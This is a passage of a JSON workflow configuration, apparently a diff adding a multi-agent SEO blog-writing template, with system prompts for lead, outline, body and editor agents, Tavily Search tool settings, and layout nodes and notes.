+ "description": "Writes the full blog content section-by-section following the outline structure. It integrates target keywords naturally and uses Tavily Search only when additional facts or examples are needed.\n",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Body Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your job is to write the full blog content based on the outline created by the `OutlineWriter_Agent`.\n\n\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ },
+ {
+ "component_name": "Agent",
+ "id": "Agent:TenderAdsAllow",
+ "name": "Editor Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "Polishes and finalizes the entire blog post. Enhances clarity, checks keyword usage, improves flow, and generates a meta title and description for SEO. Operates after all sections are completed.\n\n",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Editor Agent**, the final agent in a multi-agent SEO blog writing workflow. You are responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n## Integration Responsibilities\n\n- Maintain alignment with Lead Agent's original intent and audience\n\n- Preserve the structure and keyword strategy from Outline Agent\n\n- Enhance and polish Body Agent's content without altering core information\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:ModernSwansThrow": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:LuckyApplesGrab@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:LuckyApplesGrab"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:LuckyApplesGrab"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:LuckyApplesGrabend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:LuckyApplesGrab",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:LuckyApplesGrabstart-Message:ModernSwansThrowend",
+ "source": "Agent:LuckyApplesGrab",
+ "sourceHandle": "start",
+ "target": "Message:ModernSwansThrow",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:SlickSpidersTurnagentTop",
+ "source": "Agent:LuckyApplesGrab",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:SlickSpidersTurn",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:IcyPawsRescueagentTop",
+ "source": "Agent:LuckyApplesGrab",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:IcyPawsRescue",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:TenderAdsAllowagentTop",
+ "source": "Agent:LuckyApplesGrab",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:TenderAdsAllow",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:SlickSpidersTurntool-Tool:ThreeWallsRingend",
+ "source": "Agent:SlickSpidersTurn",
+ "sourceHandle": "tool",
+ "target": "Tool:ThreeWallsRing",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:IcyPawsRescuetool-Tool:FloppyJokesItchend",
+ "source": "Agent:IcyPawsRescue",
+ "sourceHandle": "tool",
+ "target": "Tool:FloppyJokesItch",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 38.19445084117184,
+ "y": 183.9781832844475
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Lead Agent**, responsible for initiating the multi-agent SEO blog generation process. You will receive the user\u2019s topic and blog goal, interpret the intent, and coordinate the downstream writing agents.\n\n# Goals\n\n1. Parse the user's initial input.\n\n2. Generate a high-level blog intent summary and writing plan.\n\n3. Provide clear instructions to the following Sub_Agents:\n\n - `Outline Agent` \u2192 Create the blog outline.\n\n - `Body Agent` \u2192 Write all sections based on outline.\n\n - `Editor Agent` \u2192 Polish and finalize the blog post.\n\n4. Merge outputs into a complete, readable blog draft in Markdown format.\n\n# Input\n\nYou will receive:\n\n- Blog topic\n\n- Target audience\n\n- Blog goal (e.g., SEO, education, product marketing)\n\n# Output Format\n\n```markdown\n\n## Parsed Writing Plan\n\n- **Topic**: [Extracted from user input]\n\n- **Audience**: [Summarized from user input]\n\n- **Intent**: [Inferred goal and style]\n\n- **Blog Type**: [e.g., Tutorial / Informative Guide / Marketing Content]\n\n- **Long-tail Keywords**: \n\n - keyword 1\n\n - keyword 2\n\n - keyword 3\n\n - ...\n\n## Instructions for Outline Agent\n\nPlease generate a structured outline including H2 and H3 headings. Assign 1\u20132 relevant keywords to each section. Keep it aligned with the user\u2019s intent and audience level.\n\n## Instructions for Body Agent\n\nWrite the full content based on the outline. Each section should be concise (500\u2013600 words), informative, and optimized for SEO. Use `Tavily Search` only when additional examples or context are needed.\n\n## Instructions for Editor Agent\n\nReview and refine the combined content. Improve transitions, ensure keyword integration, and add a meta title + meta description. Maintain Markdown formatting.\n\n\n## Guides\n\n- Do not generate blog content directly.\n\n- Focus on correct intent recognition and instruction generation.\n\n- Keep communication to downstream agents simple, scoped, and accurate.\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Lead Agent"
+ },
+ "id": "Agent:LuckyApplesGrab",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 350,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:LuckyApplesGrab@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:ModernSwansThrow",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 669.394830760932,
+ "y": 190.72421137520644
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "Generates a clear and SEO-friendly blog outline using H2/H3 headings based on the topic, audience, and intent provided by the lead agent. Each section includes suggested keywords for optimized downstream writing.\n",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Outline Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your sole responsibility is to create a clear, well-structured, and SEO-optimized blog outline.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Outline Agent"
+ },
+ "dragging": false,
+ "id": "Agent:SlickSpidersTurn",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 100.60137004146719,
+ "y": 411.67654846431367
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "Writes the full blog content section-by-section following the outline structure. It integrates target keywords naturally and uses Tavily Search only when additional facts or examples are needed.\n",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Body Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your job is to write the full blog content based on the outline created by the `OutlineWriter_Agent`.\n\n\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Body Agent"
+ },
+ "dragging": false,
+ "id": "Agent:IcyPawsRescue",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 439.3374395738501,
+ "y": 366.1408588516909
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "Polishes and finalizes the entire blog post. Enhances clarity, checks keyword usage, improves flow, and generates a meta title and description for SEO. Operates after all sections are completed.\n\n",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Editor Agent**, the final agent in a multi-agent SEO blog writing workflow. You are responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n## Integration Responsibilities\n\n- Maintain alignment with Lead Agent's original intent and audience\n\n- Preserve the structure and keyword strategy from Outline Agent\n\n- Enhance and polish Body Agent's content without altering core information\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Editor Agent"
+ },
+ "dragging": false,
+ "id": "Agent:TenderAdsAllow",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 730.8513124709204,
+ "y": 327.351197329827
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "dragging": false,
+ "id": "Tool:ThreeWallsRing",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": -26.93431957115564,
+ "y": 531.4384641920368
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_1"
+ },
+ "dragging": false,
+ "id": "Tool:FloppyJokesItch",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 414.6786783453011,
+ "y": 499.39483076093194
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This is a multi-agent version of the SEO blog generation workflow. It simulates a small team of AI \u201cwriters\u201d, where each agent plays a specialized role \u2014 just like a real editorial team.\n\nInstead of one AI doing everything in order, this version uses a **Lead Agent** to assign tasks to different sub-agents, who then write and edit the blog in parallel. The Lead Agent manages everything and produces the final output.\n\n### Why use multi-agent format?\n\n- Better control over each stage of writing \n- Easier to reuse agents across tasks \n- More human-like workflow (planning \u2192 writing \u2192 editing \u2192 publishing) \n- Easier to scale and customize for advanced users\n\n### Flow Summary:\n\n1. `LeadWriter_Agent` takes your input and creates a plan\n2. It sends that plan to:\n - `OutlineWriter_Agent`: build blog structure\n - `BodyWriter_Agent`: write full content\n - `FinalEditor_Agent`: polish and finalize\n3. `LeadWriter_Agent` collects all results and outputs the final blog post\n"
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 208,
+ "id": "Note:ElevenVansInvent",
+ "measured": {
+ "height": 208,
+ "width": 518
+ },
+ "position": {
+ "x": -336.6586460874556,
+ "y": 113.43253511344867
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 518
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis is the central agent that controls the entire writing process.\n\n**What it does**:\n- Reads your blog topic and intent\n- Generates a clear writing plan (topic, audience, goal, keywords)\n- Sends instructions to all sub-agents\n- Waits for their responses and checks quality\n- If any section is missing or weak, it can request a rewrite\n- Finally, it assembles all parts into a complete blog and sends it back to you\n"
+ },
+ "label": "Note",
+ "name": "Lead Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 146,
+ "id": "Note:EmptyClubsGreet",
+ "measured": {
+ "height": 146,
+ "width": 334
+ },
+ "position": {
+ "x": 390.1408623279084,
+ "y": 2.6521144030202493
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 334
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent is responsible for building the blog's structure. It creates an outline that shows what the article will cover and how it's organized.\n\n**What it does**:\n- Suggests a blog title that matches the topic and keywords \n- Breaks the article into sections using H2 and H3 headers \n- Adds a short description of what each section should include \n- Assigns SEO keywords to each section for better search visibility \n- Uses search data (via Tavily Search) to find how similar blogs are structured"
+ },
+ "label": "Note",
+ "name": "Outline Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 157,
+ "id": "Note:CurlyTigersDouble",
+ "measured": {
+ "height": 157,
+ "width": 394
+ },
+ "position": {
+ "x": -60.03139680691618,
+ "y": 595.8208080534818
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 394
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent is in charge of writing the full blog content, section by section, based on the outline it receives.\n\n**What it does**:\n- Takes each section heading from the outline (H2 / H3)\n- Writes a complete paragraph (150\u2013220 words) under each section\n- Naturally includes the keywords provided for that section\n- Uses the Tavily Search tool to add real-world examples, definitions, or facts if needed\n- Makes sure each section is clear, useful, and easy to read\n"
+ },
+ "label": "Note",
+ "name": "Body Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 164,
+ "id": "Note:StrongKingsCamp",
+ "measured": {
+ "height": 164,
+ "width": 408
+ },
+ "position": {
+ "x": 446.54943226110845,
+ "y": 590.9443887062529
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 408
+ },
+ {
+ "data": {
+ "form": {
+ "text": "**Purpose**: \nThis agent reviews, polishes, and finalizes the blog post written by the BodyWriter_Agent. It ensures everything is clean, smooth, and SEO-compliant.\n\n**What it does**:\n- Improves grammar, sentence flow, and transitions \n- Makes sure the content reads naturally and professionally \n- Checks whether keywords are present and well integrated (but not overused) \n- Verifies that the structure follows the correct H1/H2/H3 format \n"
+ },
+ "label": "Note",
+ "name": "Editor Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 147,
+ "id": "Note:OpenOttersShow",
+ "measured": {
+ "height": 147,
+ "width": 357
+ },
+ "position": {
+ "x": 976.6858726228803,
+ "y": 422.7404806291804
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 357
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
